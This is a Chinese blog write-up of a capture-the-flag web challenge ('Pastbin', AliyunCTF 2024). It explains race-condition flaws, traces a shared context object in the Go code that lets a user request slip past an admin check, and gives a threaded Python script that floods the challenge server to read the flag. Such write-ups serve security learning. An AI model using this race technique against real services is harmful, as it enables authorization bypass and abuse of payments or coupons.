Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

因为aliyun和nk的比赛重在一起了,嗯…,aliyun的难度比较高,这里就只做了一个复现

Pastbin

这题稍微尝试了一下 ,发现注册和登录页面,随便注册一个账号进行登录,里面只有一个发表功能,这里其实就没有什么思路了,看了一眼官方的wp,发现是条件竞争

条件竞争

条件竞争漏洞(Race condition)官方概念是“发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中(“锁”操作,如mysql执行事务前加BEGIN,后加COMMIT,从而锁定一次事务处理,使按序进行)

当网站没有足够保护措施的情况下处理多个请求,就会发生条件竞争漏洞,简单来说就是网站无法及时处理多线程的请求时,多个不同线程的请求发生冲突,请求内容发生干扰,从而实现对网站的执行

举一个很简单的例子就是,当需要不同权限的登录时,多个线程同时发送请求,网站无法及时对请求进行判断,从而使得权限被污染,绕过限制

常见利用场景:

  1. 购买:付款/购买/积分/订单操纵相关的漏洞
  2. 兑换:积分/优惠券/注册邀请码
  3. 绕过次数限制
  4. 多过程处理,如文件上传处理

这个漏洞具有偶现性,很受环境因素的影响,比如网络延迟、服务器的处理能力等,所以只执行一次可能并不会成功,尽量多尝试几次

这里漏洞利用就需要代码审计了,这里看了一下大佬的文章

https://boogipop.com/2024/03/25/AliyunCTF%202024%20Web%20Writeup%EF%BC%88Blog%20ver)/

简单看了一下代码,可以发现,每一个路由都用Handle方法去处理

210

每一个路由都会启动一个http,调用到run方法,这里看一下run方法

211

这里可以看到ctx所有路由公用的,然后我们看一下如何获得flag

212

这里发现调用flagHandler这个方法时就可以获得,然后看一下哪里调用了这个方法

213

查看路由时可以发现当以amdin访问时就可以调用, 也就是需要以admin权限访问flag路由就可以获得flag,但他这里还有一个函数,这里看起来是一个鉴别权限的函数,这里就跟踪这个函数看一下

214

这里需要检验username是否等于admin,但是由于serveHTTP所调用的ctx是公用的,是题目就存在了可以进行条件竞争的漏洞,当多个线程同时进行时,一个访问User routes,一个访问Admin routes,发生条件竞争,从而使得绕过了onlyAdmin方法

由于调用路由时还引用了部分中间件,我们再看一下中间件中所调用的函数

215

这里可以看到,只需要页面存在admin即可输出flag,所以这里只需要创建一个title为admin的内容即可,然后同时访问/flag/paste/view,这里就直接用脚本进行条件竞争获取flag(这里存在概率,多试几次)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import threading

import requests

pollute_url="http://web2.aliyunctf.com:33861/paste/view?id=8a0c750b-508f-4433-891d-a51c385c79b1"
flag_url="http://web2.aliyunctf.com:33861/flag"
cookies={
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTEzNjI0MzgsInVzZXJuYW1lIjoiYm9vZ2lwb3AifQ.5NeTLjpNskLo8vk9ZymuvSo99awdCKvV80Q78ynrRHU"
}
def pollute():
while True:
r = requests.get(pollute_url,cookies=cookies)
if "aliyunctf" in r.text:
print(r.text)

def flag():
while True:
r=requests.get(flag_url)

event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=pollute).start()

for i in range(1,15):
threading.Thread(target=flag).start()

评论